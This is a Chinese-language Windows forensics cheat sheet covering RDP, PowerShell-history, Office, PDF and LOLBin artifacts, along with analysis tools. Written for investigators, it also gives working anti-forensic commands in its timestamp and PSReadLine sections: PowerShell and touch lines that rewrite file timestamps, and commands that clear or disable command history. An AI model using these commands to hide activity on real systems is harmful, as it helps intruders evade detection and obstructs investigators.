检查系统是否接受传入 RDP:
```
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server
```
`fDenyTSConnections`
- 0 = 允许 RDP 连接
- 1 = 拒绝 RDP 连接
**事件日志**
| 事件 | 登录类型 | 结果 | 描述 |
|:------:|:----------:|:---------:|-------------|
| 4624 | 10 | 成功 | 交互式远程登录(常规 RDP 连接) |
| 4624 | 12 | 成功 | 使用 RemoteFX 的远程登录 |
| 4625 | 3 | 失败 | 会话在完成之前失败(已启用 NLA) |
| 4625 | 10 | 失败 | 远程会话先启动后失败(NLA 已禁用或旧版本) |
| 1149 | - | 成功 | 从远程主机成功进行 RDP 连接 |
| 21 | - | 成功 | 登录成功(旧版,Terminal Services) |
### 📜 RDP 中的位图和 Prefetch 工件
与 RDP 使用相关的取证工件,特别关注*位图缓存*和 RDP 客户端的 *prefetch* 证据。除非在连接时另有说明,否则关闭 RDP 会话时缓存不会自动清除。
**`RDP Bitmap Cache`**
```
C:\Users\\AppData\Local\Microsoft\Terminal Server Client\Cache
Cache000.bin
Cache001.bin
...
```
这些文件包含 RDP 客户端存储的原始位图,以优化后续会话。它们包含在 RDP 会话期间本地存储的图形片段,其中可以找到:
- RDP 屏幕片段。
- 图标和背景。
- 应用程序窗口。
- 可见文本(用户、应用程序、路径、界面)。
这些工件可以允许部分重建在先前 RDP 会话期间执行的视觉活动。
**RDP 位图分析工具 (Cache000.bin 等)**
- ***RdpCacheStitcher***: https://github.com/BSI-Bund/RdpCacheStitcher
- ***bmc-tools***: https://github.com/ANSSI-FR/bmc-tools
- ***X-Ways Forensics***: https://www.x-ways.net
- ***Autopsy***: https://www.autopsy.com
- ***EnCase Forensic***: https://www.opentext.com/produits/encase-forensic
**`手动 Bitmap Carving`**
搜索 BMP 头:
```
42 4D
```
使用 PowerShell 搜索的示例:
```
Get-ChildItem Cache*.bin | % {
Select-String -Path $_ -Pattern "BM" -AllMatches
}
```
**`Prefetch 文件 (MSTSC.EXE-*.pf)`**
与 "mstsc.exe" 关联的 Prefetch 文件可以提供相关信息,例如:
- RDP 客户端的使用频率。
- 上次运行时间。
- 访问的文件和资源。
此工件对于**确证 RDP 客户端的使用**和建立活动时间线非常有用。
```
C:\Windows\Prefetch\MSTSC.EXE-*.pf
```
**`预防和缓解 (在 RDP 中禁用 'Persistent bitmap caching')`**
为了减少取证暴露和泄露风险,建议采取以下措施:
- 在 RDP 中禁用位图缓存:
- **选项 1**,".rdp" 文件:
在 RDP 连接文件中,显式添加以下行:*bitmapcachepersistenable:i:0*
- **选项 2**,RDP 客户端图形界面:
运行 "mstsc.exe" > 显示选项 > 性能 > 取消勾选选项:Persistent bitmap caching (持久位图缓存)
- **选项 3**,GPO 组策略:
管理模板 > Windows 组件 > 远程桌面服务 > 远程桌面会话主机 > 远程会话环境 > "不使用位图缓存"
- **手动选项**:每次结束 RDP 连接后定期清理临时文件和系统缓存。
### 📜 通过 RDP 建立到其他主机的已存储连接缓存
如果受影响的计算机已被入侵,并作为横向移动中的“跳板机”使用,检查通过 RDP 建立的到其他主机的已存储缓存可能很有用,无论是同一网络还是外部 RDP,目的可能是将数据渗透到由恶意行为者控制的中转站。
在以下注册表项中,我们可以找到从受影响机器发起的远程 RDP (Remote Desktop Protocol) 连接。每次 RDP 连接都会创建一个新键。
```
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers
HKEY_USERS\\SOFTWARE\Microsoft\Terminal Server Client\Servers
```
位于同一路径,可以看到 "Default" 键。此键指示运行 mstsc.exe 二进制文件时打开的“远程桌面连接”窗口下拉栏中显示的连接列表的优先级顺序。
```
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default
```
### 📜 获取文件的下载 URL (ADS Zone.Identifier)
了解恶意文件是否从 Internet 下载以及从哪个 URL 下载,还是在本地系统上创建的。
**ADS (Alternate Data Stream)** 允许在文件内存储文件。这是 NTFS 的一个特性,旨在提供与 MacOS 层次文件系统 (HFS) 的兼容性。HFS 使用资源分支和数据分支(2 个流)来存储文件的数据。
PowerShell
```
Get-Content -Path .\ -Stream Zone.Identifier -Encoding oem
```
CMD
```
notepad :Zone.Identifier
```
### 📜 通过分析元数据修改和检测文件时间戳 (反取证技术)
恶意行为者或内部人员可能会尝试修改文件的时间戳,以更改其创建、修改和访问的日期和时间,目的是执行“反取证技术”,试图混淆、改变和拖延可能的取证调查。
虽然在 Windows 或 Linux 系统中,无论是原生方式还是使用第三方软件都可以修改时间戳,但在进行取证分析过程时,可以分析和检测这些更改。
`Windows - 获取和修改 Timestamps`
使用 PowerShell 获取文件的时间戳。
```
Get-ChildItem file.txt | Format-List -Property *
Get-Item file.txt | Format-List -Property FullName, CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc
```
使用 PowerShell **修改** 创建、最后修改 和最后读取 的时间戳。
```
(Get-ChildItem file.txt).LastWriteTime=$(Get-Date "16/4/2019 12:34 am")
(Get-ChildItem file.txt).CreationTime=$(Get-Date "16/4/2019 12:34 am")
(Get-ChildItem file.txt).LastAccessTime=$(Get-Date "16/4/2019 12:34 am")
```
修改 UTC 时间戳。
```
(Get-ChildItem file.txt).LastWriteTimeUtc=$(Get-Date "16/4/2019 12:34 am")
(Get-ChildItem file.txt).CreationTimeUtc=$(Get-Date "16/4/2019 12:34 am")
(Get-ChildItem file.txt).LastAccessTimeUtc=$(Get-Date "16/4/2019 12:34 am")
```
使用第三方软件修改文件时间戳。
- BulkFileChanger: https://www.nirsoft.net/utils/bulk_file_changer.html
- FileDate Changer: https://www.nirsoft.net/utils/filedatech.html
- NewFileTime: https://www.softwareok.com/?seite=Microsoft/NewFileTime
- Change Timestamp: https://www.majorgeeks.com/files/details/change_timestamp.html
- Attribute Changer: https://www.petges.lu/download/
- Bulk Rename Utility: https://www.bulkrenameutility.co.uk/Download.php
- Advanced Renamer: https://www.advancedrenamer/download
`Linux - 获取和修改 Timestamps`
***stat*** 命令显示有关文件和目录的详细信息,例如其大小、类型、权限以及访问、修改和更改日期。
```
stat file.txt
```
**修改**文件的访问、修改和更改时间戳。
- 访问:最后一次读取文件的时间。
- 修改:最后一次修改文件的时间(内容已被修改)。
- 更改:最后一次更改文件元数据的时间(例如,权限)
```
touch -a -m -t 201912180130.09 file.txt
# 格式: YYMMDDhhmm.SS
# -a = 访问时间
# -m = 修改时间
# -t = 时间戳
```
**`检测修改的 Timestamps (ExifTool 和 Autopsy)`**
手动修改文件的时间戳时,其 HASH 不会被修改。因此,通过 hash file 进行检测并不是检测这种“反取证”的明确指标。
```
touch -a -m -t 201712180130.09 file.txt
sha1sum file.txt
63bbfea82b8880ed33cdb762aa11fab722a90a24 file.txt
touch -a -m -t 201812180130.09 file.txt
sha1sum file.txt
63bbfea82b8880ed33cdb762aa11fab722a90a24 file.txt
```
在 Linux 中,使用 ***stat*** 命令我们可以获取有关时间戳的信息,但是它不显示文件本身元数据的时间戳。
```
stat file.txt
Access: 2019-12-18 01:30:09.000000000 +0100
Modify: 2019-12-18 01:30:09.000000000 +0100
Change: 2024-04-29 23:05:51.644885838 +0200
Birth: 2024-04-29 22:59:00.618199663 +0200
```
为了分析和检测可能的时间戳修改,可以使用 ***exiftool***,它显示文件本身的元数据,并在 *"Create Date, Modify Date 和 Metadata Date"* 属性中获取原始时间戳。
- ExifTool: https://exiftool.org
```
exiftool file.txt
File Modification Date/Time : 2019:12:18 01:30:09+01:00
File Access Date/Time : 2019:12:18 01:30:09+01:00
File Inode Change Date/Time : 2024:04:29 23:05:51+02:00
Create Date : 2024:04:17 11:54:20+02:00
Modify Date : 2024:04:28 14:03:17+02:00
Metadata Date : 2024:04:28 14:03:17+02:00
```
使用 **Autopsy** 检测可能的时间戳修改。
- Autopsy: https://www.autopsy.com/download
可以获取文件本身的元数据并检查原始时间戳。
1. 创建一个新项目。
2. Add Data Source。
3. Logical Files。
4. 手动添加文件。
5. 标记三个包括 "Timestamps" 的选项。
6. "Hex" 选项卡中我们可以手动分析并找到时间戳。
7. 同样在以下选项卡中:"File Metadata" 和 "Analysis Results"。
8. 如果是 Office 文件或 pdf,将添加一个新的下拉菜单 "Data Artifacts > Metadata",我们也可以在其中查看原始时间戳。
### 📜 Windows 搜索索引 (Windows.edb, .crwl, .blf, .jrs 文件)
Windows 搜索索引是 Windows 的搜索系统。它在 Windows.edb 文件中维护一个内部索引,存储有关系统文件和文件夹的信息:名称、路径、扩展名、日期,甚至部分内容(如果文件类型是可索引的,如 .txt, .docx, .pdf 等)。
此文件充当 [ESE (Extensible Storage Engine)](https://learn.microsoft.com/es-es/windows/win32/extensible-storage-engine/extensible-storage-engine) 格式的数据库,也称为 Jet Blue,这是 Windows 使用的一种嵌入式数据库引擎,用于高效地构建和访问大量索引数据。
此索引包含取证工件,即使文件在系统中不再物理存在,也可以获取已删除或修改文件的证据。尽管也存在旨在操纵、停用或清空此索引的反取证技术。
**相关文件和关键路径:**
- **Windows.edb**: 搜索索引的主要 ESE 数据库。
- 路径: `C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\`
- Windows.edb 可能包含: 已删除文件的路径、元数据(创建、修改、访问)、部分文本或索引文件的属性。
- **.crwl**: 索引文件的爬网日志。
- 路径: `C:\ProgramData\Microsoft\Search\Data\Applications\Windows\GatherLogs\SystemIndex\`
- .crwl 日志显示: 索引了哪些文件以及何时索引、错误、爬网事件、最近的更改。
- **.blf, .jrs, .log**: ESE 引擎的支持文件(事务日志)。
- 路径: `C:\ProgramData\Microsoft\Search\Data\Applications\Windows\`
**关键注意事项**
- **Windows.edb** 通常被系统**锁定**;需要离线提取或使用专用工具进行冷分析。
- 如果不手动重建,索引可能会持续很长时间。
- 每个扩展名都有一个关联的 **PersistentHandler**,用于确定内容是否被索引。
- PersistentHandler: 定义系统如何访问文件内容的 GUID,允许索引、结构化读取和元数据提取。
**分析 Windows.edb 和 .crwl 文件的工具**
- [EseDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html): 可视化并导出 Windows.edb 的内容。
- [FTK Imager](https://accessdata.com/product-download/ftk-imager-version-4-5): 克隆和取证访问锁定的文件内容。
- [EseDatabaseView – NirSoft](https://www.nirsoft.net/utils/ese_database_view.html): 读取并显示存储在存储引擎 (ESE) 数据库中的数据。
### 📜 PSReadLine: PowerShell 控制台中执行的命令历史
PowerShell 或 PowerShell Core 中的命令历史记录未集成到 Windows 管理框架中,而是依赖于 **PSReadLine** 模块。Windows 中的 PSReadLine 模块位于 `C:\Program Files\WindowsPowerShell\Modules\PSReadline` 文件夹中,并在您启动 PowerShell 控制台时自动导入。
这在取证调查中可能很有用,当潜在的恶意行为者对用户账户采取行动或让用户在 PowerShell 下执行某些操作时。
默认情况下,PSReadline 在每个用户的 **ConsoleHost_history.txt** 文本文件中存储 4096 条命令的历史记录,位于以下路径。
```
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
```
如果使用 VSC Visual Studio Code 下的控制台,我们会在同一路径中找到 **Visual Studio Code Host_history.txt** 文件。
```
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\Visual Studio Code Host_history.txt
```
如果我们有权访问用户在其计算机上的上下文,我们也可以重复使用反向搜索 `CTRL+R` 查看历史记录。`CTR+S` 用于直接搜索。
检查模块是否已安装。
```
Get-Module | Where-Object {$_.name -like "*PSReadline*"}
```
直接在 PowerShell 会话输出中查看命令历史记录。
```
Get-Content (Get-PSReadlineOption).HistorySavePath
```
显示 PSReadline 模块的更多配置选项。
```
Get-PSReadlineOption | Select-Object HistoryNoDuplicates, MaximumHistoryCount, HistorySearchCursorMovesToEnd, HistorySearchCaseSensitive, HistorySavePath, HistorySaveStyle
```
直接显示 *ConsoleHost_history.txt* 文件所在的路径。
```
(Get-PSReadlineOption).HistorySavePath
```
增加注册表中存储的 PowerShell 命令数量。
```
Set-PSReadlineOption -MaximumHistoryCount 10000
```
如果已建立某种秘密、密码或 token。可以仅从历史记录中删除上一个命令。
```
Clear-History -Count 1 -Newest
```
删除历史记录中与特定模式匹配的所有命令。
```
Clear-History -CommandLine *set-ad*
```
要完全删除 PowerShell 命令历史记录,必须删除 PSReadline 模块写入的 ConsoleHost_history.txt 文件,或在控制台中直接执行以下命令。
```
Remove-Item (Get-PSReadlineOption).HistorySavePath
```
完全禁用 PowerShell 命令历史记录的存储。
```
Set-PSReadlineOption -HistorySaveStyle SaveNothing
```
### 📜 取证工件 - MS Word
`MS Office 警报事件`
```
Event Viewer > Applications and Services Logs > Microsoft Office Alerts
```
`了解从 Word 访问的 URL`
如何知道受害者是否点击了 MS Word 文档中的恶意 URL?
**"UseRWHlinkNavigation"** 值包含从 MS Word 访问的最后一个 URL。
```
HKEY_USERS\\SOFTWARE\Microsoft\Office\16.0\Common\Internet
```
以下键包含子键,其中包含 MS Word 试图到达的远程目标。
```
HKEY_USERS\\SOFTWARE\Microsoft\Office\16.0\Common\Internet\Server Cache
```
`最近在 Word 中打开的文件`
检查以下目录和文件 **"inditex.dat"** 的内容。
```
%AppData%\Microsoft\Office\Recent
```
`Word 中的启动文件`
当用户启动 MS Word 时,此位置的文件会自动加载。这些文件将采用 .dot, .dotx 或 .dotm 格式。
```
%AppData%\Microsoft\Word\STARTUP
```
`搜索最近启用宏的文件`
包含文件名列表。末尾带有 "FF FF FF 7F" 的值表示已启用宏。
```
HKCU\SOFTWARE\Microsoft\Office\\Word\Security\TrustedDocuments\TrustRecords
```
`Word 中的宏安全性`
**"VBAWarnings"** 指示宏安全性的状态。
- 值 1: 启用所有宏
- 值 2: 禁用所有宏并通知
- 值 3: 禁用所有宏,除数字签名的外
- 值 4: 禁用所有宏且不通知。
```
HKCU\Software\Policies\Microsoft\Office\\Word\Security\VBAWarnings
```
`Word 缓存`
此位置用于存储 MS Word 的 *scratch* 文件。如果用户打开带有宏的 .docx 文件,Word 可能会创建一个 *"WRCxxxx.tmp"* 文件。此文件可能包含各种工件。
```
%LocalAppdata%\Microsoft\Windows\INetCache\Content.Word
```
`从 Outlook 打开的 Word 附件`
直接通过 Outlook(在预览中)打开的 Word 类型附件存储在此位置。
```
%LocalAppdata%\Microsoft\Windows\INetCache\Content.Outlook\\
```
### 📜 XLSX 文件中的恶意软件分析
使用 7Zip 我们可以解压 .xlsx 文件,在 "XL" 文件夹内打开并编辑名为 "workbook.xml" 的文件,搜索 **"absPath"** 一词。它包含文件的最后保存位置,我们可以在其中看到作者 (C:\\<\user>\\..\\file.xlsx),他可能是受害者计算机的用户。
作为反取证技术,可以通过 Excel “检查文档”并删除“文档属性和个人信息”来删除此元数据。
### 📜 MS Office 文件中的恶意软件分析
[**oletools**](https://github.com/decalage2/oletools) 是一个 python 工具包,用于分析 Microsoft OLE2 文件(也称为 Structured Storage, Compound File Binary Format 或 Compound Document File Format),例如 Microsoft Office 文档、Outlook 邮件、Word、Power Point、Excel 等。主要用于恶意软件分析、取证和调试。它基于语法分析器 [olefile](https://www.decalage.info/olefile)。
- oletools: https://github.com/decalage2/oletools
- oletools Wiki: https://github.com/decalage2/oletools/wiki
- 更多 oletools 信息: http://www.decalage.info/python/oletools
| 工具 | 描述 |
|-------------|-------------|
| [**oledump**](https://github.com/DidierStevens/DidierStevensSuite/blob/master/oledump.py) | 分析 OLE 文件 (Object Linking and Embedding, Compound File Binary Format)。这些文件包含数据流。 |
| [**olevba**](https://github.com/decalage2/oletools/wiki/olevba) | 能够提取和分析 MS Office 文件(OLE 和 OpenXML)的 VBA 宏。 |
| [**pcodedmp**](https://github.com/bontchev/pcodedmp) | VBA p-code 反汇编器。 |
| [**oleid**](https://github.com/decalage2/oletools/wiki/oleid) | 允许分析 OLE 文件以检测通常在恶意文件中发现的特征。 |
| [**MacroRaptor**](https://github.com/decalage2/oletools/wiki/olevba) | 用于检测恶意 VBA 宏。 |
| [**msodde**](https://github.com/decalage2/oletools/wiki/msodde) | 提供检测 MS Office、RTF 和 CSV 文件中 DDE/DDEAUTO 链接的能力。 |
| [**pyxswf**](https://github.com/decalage2/oletools/wiki/pyxswf) | 检测、分析和提取可能嵌入 MS Office 格式和 RTF 文件中的 Flash (SWF) 对象。 |
| [**oleobj**](https://github.com/decalage2/oletools/wiki/oleobj) | 从 OLE 文件中提取嵌入的文件。 |
| [**rtfobj**](https://github.com/decalage2/oletools/wiki/rtfobj) | 与上一个相同,但针对 RTF 文件。 |
| [**olebrowse**](https://github.com/decalage2/oletools/wiki/olebrowse) | 提供一个简单的图形界面来浏览 OLE 文件。这允许查看和提取文件的具体部分。 |
| [**olemeta**](https://github.com/decalage2/oletools/wiki/olemeta) | 获取 OLE 文件的元数据。 |
| [**oletimes**](https://github.com/decalage2/oletools/wiki/oletimes) | 提取文件的时间戳,例如创建日期、修改日期等。 |
| [**oledir**](https://github.com/decalage2/oletools/wiki/oledir) | 显示 OLE 文件的所有目录条目。 |
| [**olemap**](https://github.com/decalage2/oletools/wiki/olemap) | 绘制一个包含 OLE 文件所有扇区及其属性的表格。 |
### 📜 MS Office 和其他文件的分析工具 (检测恶意软件或钓鱼)
| 工具 | 描述 |
|-------------|-------------|
| [**Suite de DidierStevensSuite**](https://github.com/DidierStevens/DidierStevensSuite) | [Didier Stevens](https://www.sans.org/profiles/didier-stevens) 的套件。 |
| [**Exiftool**](https://exiftool.org/) | 分析各种文件格式的元数据。 |
| [**Munpack**](https://linux.die.net/man/1/munpack) | 解压 MIME 或 split-uuencode 格式的消息。 |
| [**msoffice-crypt**](https://github.com/herumi/msoffice) | 加密/解密 MS Office 文件。 |
| [**OfficeMalScanner**](http://www.reconstructer.org/code.html) | Ms Office 取证工具,用于扫描恶意痕迹,如启发式 shellcode、PE 文件或嵌入式 OLE 流。 |
| [**Hachoir-subfile**](https://hachoir.readthedocs.io/en/latest/subfile.html) | 基于 hachoir-parser 的工具,用于在任何二进制流中搜索子文件。 |
| [**xxxswfpy**](https://hooked-on-mnemonics.blogspot.com/2011/12/xxxswfpy.html) | 扫描、压缩、解压和分析 Flash SWF 文件。 |
### 📜 PDF 分析工具 (检测恶意软件或钓鱼)
| 工具 | 描述 |
|-------------|-------------|
| [**PDF Stream Dumper**](http://sandsprite.com/blogs/index.php?uid=7&pid=57) | 用于 PDF 分析的 Windows GUI,在网络安全专家社区中非常流行。 |
| [**PDF-parser**](https://didierstevens.com/files/software/pdf-parser_V0_6_8.zip) | 从 PDF 文件中提取单个元素,如标题、链接等,以进行详细分析。 |
| [**PDFID**](https://didierstevens.com/files/software/pdfid_v0_2_2.zip) | 列出被分析 PDF 文件中的所有对象。 |
| [**PEEPDF**](https://github.com/jesparza/peepdf) | 这是一个相当强大的分析框架,包括 shellcode 搜索、Javascript 等功能。 |
| [PDFxray](https://github.com/9b/pdfxray_public) | 拥有大多数必要的实用工具,以单独的 Python 脚本形式存在,但需要许多依赖项。 |
`分析 PDF 文档时应寻找什么?`
关键词:PDF Keywords
- **/OpenAction 和 /AA**:因为它们可以自动执行脚本。
- **/JavaScript 和 /JS**:分别用于执行 js。
- **/GoTo**:因为此操作会更改文件的可见页面,可以自动打开并重定向到其他 PDF 文件。
- **/Launch**:能够启动程序或打开文档。
- **/SubmitForm 和 /GoToR**:可以通过 URL 发送数据。
- **/RichMedia**:可用于嵌入 flash。
- **/ObjStm**:可以隐藏对象。
- **/URI**:通过其 URL 访问资源,可能用于钓鱼。
- **/XObject**:可以嵌入图像以进行钓鱼。
- 注意使用十六进制代码的混淆,例如 */JavaScript* vs. */J#61vaScript*。 https://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways。
`PDF 文件分析常用命令`
显示 archivo.pdf 文件中存在的风险关键词。
```
pdfid.py file.pdf -n
```
显示关于关键词的统计信息。添加 "-O" 以包含对象序列。
```
pdf-parser.py file.pdf -a:
```
显示对象 ID 的内容。添加 "-d" 以转储对象序列。
```
pdf-parser.py file.pdf -o id
```
显示引用对象 ID 的对象。
```
pdf-parser.py file.pdf -r id
```
使用密码解密 infile.pdf 以创建 outfile.pdf。
```
qpdf --password=pass --decrypt infile.pdf outfile.pdf
```
### 📜 识别文件中的 Shellcodes 及其他分析命令
| 工具 | 描述 | 使用示例 |
|-------------|-------------|-------------|
| [xorsearch](https://blog.didierstevens.com/2014/09/29/update-xorsearch-with-shellcode-detector/) | 在二进制文件 file.bin 中定位 shellcode 模式。 | xorsearch -W -d 3 file.bin |
| [scdbgc](http://sandsprite.com/blogs/index.php?uid=7&pid=152) | 模拟 file.bin 中 shellcode 的执行。使用参数 "/off" 指定偏移量。 | scdbgc /f file.bin |
| [runsc32](https://github.com/edygert/runsc) | 在隔离实验室中运行 file.bin 中的 shellcode 以观察行为。 | runsc32 -f file.bin-n |
| [base64dump.py](https://blog.didierstevens.com/2017/07/02/update-base64dump-py-version-0-0-7/) | 列出 file.txt 文件中存在的 Base64 编码字符串。 | base64dump.py file.txt |
| [numbers-to-string.py](https://videos.didierstevens.com/2016/10/11/maldoc-numbers-to-string-py/) | 将文件中代表字符的数字转换为字符串。 | numbers-to-string.py file |
### 📜 检测文档中的恶意 URL
为了搜索这些 URL 的存在,我们使用 7zip 工具打开文档,并提取其中包含的文件。首先提取像 "**document.xml.res**" 或 "**webSettings.xml.res**" 这样的文件,寻找如下标签或属性:**sourceFileName**、**attachedTemplate**、**Target**、**TargetMode**。
我们还寻找任何不同于 Microsoft 官方 URL 的 URL。官方 URL 示例可能是 http://schemas.openxmlformats.org/, http://schemas.microsoft.com/
### 📜 设备 IP 分配
在一个事件中,发现从某个 IP 地址发送了一个畸形网络数据包,但攻击者删除了该记录。可以查询以下注册表子键以查找网络中拥有该 IP 地址的设备。每个子键都将有一个包含 DhcpIPAddress、DhcpNameServer 等值的 DHCP 记录。
```
HKLM\SYSTEM\ControlSet00*\Services\Tcpip\Parameters\Interfaces
```
### 📜 Windows 防火墙 (wf.msc):已卸载软件的残留规则
检查 Windows 防火墙 **"wf.msc"** 中的入站和出站规则。恶意行为者可能安装了创建防火墙规则的软件。大多数应用程序即使被卸载也不会删除这些规则。
### 📜 持久化:系统进程伪装
检测到 2 个具有相同 PID 但内存地址不同的进程,可能表明存在恶意注入进程。
已知进程中的一些示例。
| Process | PID | Address |
|--------------|------|----------|
| explorer.exe | 547 | 0xa20000 |
| explorer.exe | 547 | 0x5d1000 |
| svchost.exe | 1447 | 0x6d0000 |
| svchost.exe | 1447 | 0x210000 |
| rundll32.exe | 5287 | 0xa90000 |
| rundll32.exe | 5287 | 0x6a1000 |
### 📜 查询和审计工具:GPO、访问控制、用户、组及其他 Active Directory 和 LDAP 功能
**执行备份或导出计算机本地策略**(本地 GPO)最干净、最简单的方法。
复制以下路径中的所有文件:
```
%systemroot%\System32\GroupPolicy
```
一旦我们将它们隔离,就可以将其替换到新的干净系统镜像中,或者简单地使用 Registry.pol Viewer Utility 进行分析。
| 工具 | 信息 | 链接 |
|-------------|------|------|
| `Registry.pol Viewer Utility` (sdmsoftware) | 可视化 GPO 的 *Registry.pol* | https://sdmsoftware.com/389932-gpo-freeware-downloads/registry-pol-viewer-utility |
| `Nettools` | 查询 AD 的多种功能 | https://nettools.net/download |
| `Ping Castle` | AD 状态的总体安全审计。对于分析继承或新的特权组成员身份很有用 | https://pingcastle.com/download |
### 📜 钓鱼邮件分析(.eml 扩展名)
- SysTools EML Viewer Tool: https://www.systoolsgroup.com/eml-viewer.html
### 📜 MUICache:应用程序相关工件
MUICache 是一种 Windows 资源,充当注册表键,负责存储有关每个应用程序可执行文件的信息,操作系统在使用新应用程序时会自动提取这些信息。MUICache 的特点是,即使你删除了一些项目,下次运行该应用程序时它们也会再次出现。
```
HKEY_USERS\\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
HKEY_USERS\_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
```
- GUI 工具 - MUICacheView: https://www.nirsoft.net/utils/muicache_view.html
### 📜 FeatureUsage:重建用户活动
跟踪与任务栏关联的事件,例如,当用户运行固定在任务栏的应用程序时。*FeatureUsage* 工件位于 NTUSER.DAT 注册表文件中的以下键下。
```
HKEY_USERS\\Software\Microsoft\Windows\CurrentVersion\Explorer\FeatureUsage
NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\FeatureUsage
```
- **AppBadge**:此子键跟踪任务栏上应用程序的凭据更新。例如,如果使用 Telegram、WhatsApp、Discord 并收到新消息,您可以在应用程序徽章上看到一个带有新消息数量的红色图标。
- **AppLaunch**:此子键记录固定在任务栏的应用程序的启动。
AppSwitched:此子键记录当用户想要从一个应用程序切换到另一个应用程序时对任务栏应用程序的左键单击。
- **ShowJumpView**:此子键跟踪对任务栏应用程序的右键单击。
- **TrayButtonClicked**:此子键跟踪对以下任务栏元素的左键单击:时钟按钮、开始按钮、通知中心按钮和搜索框,可以看到对每个元素的点击。
### 📜 MRU (Most Recently Used):本地 Office 和 Office 365 工件
**MRU** (Most Recently Used 或最近使用):通过 Windows 注册表显示用户在 Office 应用程序中最近打开的文件列表,方便用户从此列表中选择,而无需导航到源文件夹。
- 在一般调查中,了解用户最近打开了哪些文档可以揭示受影响计算机的用途。
- 列出从此删除或位于可移动驱动器中的文件的路径和时间戳。
- 在使用企业用户帐户入侵到云中 Office 365 应用程序的设备的情况下,此列表可能显示攻击者可能感兴趣的文档。
- 在带有附件的本地钓鱼攻击案例中,可以查看并确认受害者用户执行恶意文档的时间戳。
- 在内部威胁案例中,可以显示内部人员想要窃取或泄露的文档类型。
对于使用同步且许可的 Microsoft Live 帐户从 Office 365 登录会话中打开的 Office 文档。以 Excel 和 Word 为例。
```
HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\User MRU\LiveId_\File MRU
HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\User MRU\LiveId_\File MRU
```
在本地打开的 Office 文档没有 LiveId 同步标识符路径。以 Word 为例。
```
HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\File MRU
HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Reading Locations\Document X
```
- GUI 工具 - RecentFilesView: https://www.nirsoft.net/utils/recent_files_view.html
### 📜 查看 7-Zip 解压的最后一个文件
以下路径显示路径并确认使用 7-Zip 解压的最后一个文件。
如果在取证调查中怀疑恶意文件的执行源隐藏在通过电子邮件发送、下载并在本地解压的另一个压缩文件中,我们可以使用此信息作为确认工件,以及受害者用户在计算机上执行的操作指示。
```
HKEY_USERS\\Software\7-Zip\FM
```
- 值 **PanelPath0**:此值显示使用 7-Zip 解压的最后一个文件的路径。
### 📜 使用 WMI 检测已安装的反恶意软件及其状态
列出系统上已安装的反恶意软件代理。
```
Get-WmiObject -Namespace "root\SecurityCenter2" -Class AntiVirusProduct | Select-Object displayName, productState, pathToSignedReportingExe, timestamp | fl
```
### 📜 检测配置了域账户的服务
*DOMAIN* = 替换为相应的 FQDN。
```
Get-WmiObject Win32_Service | Where-Object { $_.StartName -like "*DOMAIN*" } | Select-Object Name, StartName
```
### 📜 常见的 LOLBins 及其工件
**LOLBins** (Living Off the Land Binaries) 主要是可执行文件、脚本或库,它们已经存在于操作系统中,攻击者可能将其用于恶意目的,而这些并非其原始设计用途。
这些程序不需要安装额外的软件,这使得攻击者能够不被察觉地执行恶意操作,如果安全监控和检测团队准备不足,可以逃避传统安全解决方案的检测。
LOLBins 通常在获得系统的初始访问权限后使用,通常在利用系统中其他相邻配置弱点进行后渗透阶段以实现权限提升(任意下载或执行其他文件或代码),或者作为数据泄露技术。经常看到使用一些 LOLBin 作为 [APT (Advanced Persistent Threat)](https://es.wikipedia.org/wiki/Amenaza_persistente_avanzada) 攻击的一部分,这些攻击由已知的网络犯罪团伙实施,可能导致潜在的勒索软件影响。
存在许多适用于 Windows 系统 [LOLBAS](https://lolbas-project.github.io/) 和基于 Linux 内核的系统 [GTFOBins](https://gtfobins.github.io/) 的 LOLBins,有些也会影响 MacOS 系统,因为它是 UNIX 的衍生品。
按使用频率从高到低列出:
**`PowerShell.exe`**:Windows 中的命令行解释器和脚本语言,在这些情况下用于执行恶意脚本和命令。
**`rundll32.exe`**:Windows 实用程序,用于从 DLL 库加载和执行函数。
**`te.exe`**:测试创作和执行框架的一部分。
**`PsExec.exe`**:[Sysinternals 套件](https://learn.microsoft.com/es-es/sysinternals/downloads/psexec)的一部分,是一种用于在远程系统上执行进程的工具。
**`CertUtil.exe`**:用于管理证书颁发机构信息的工具。
**CertUtil 工件**:
- 进程工件:安全事件日志中的进程创建事件 (4688)。
- CryptNetURLCache 文件:缓存保存下载文件副本的路径,关于文件下载位置的元数据以及首次和最后一次下载的时间。
***成功下载的证据:***
包含 certutil 下载的任何文件的副本。
```
C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache
C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache
C:\Users\\AppData\LocalLow\Microsoft\CryptnetUrlCache
```
CryptNetURLCache 文件中的元数据:包含有关下载信息的文件,例如 URL 和日期。
```
C:\Users\\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData
C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData
C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData
```
***失败下载的证据:***
在 Windows Defender 事件中搜索 ID 1116,该 ID 指示检测到恶意软件或其他潜在不受欢迎软件的事件。如果启用了 RTP (Real Time Protection),默认情况下此活动会被阻止。
参考:
- AbdulRhman Alfaifi 关于如何[分析 certutil 元数据文件](https://u0041.co/posts/articals/certutil-artifacts-analysis/)的文章
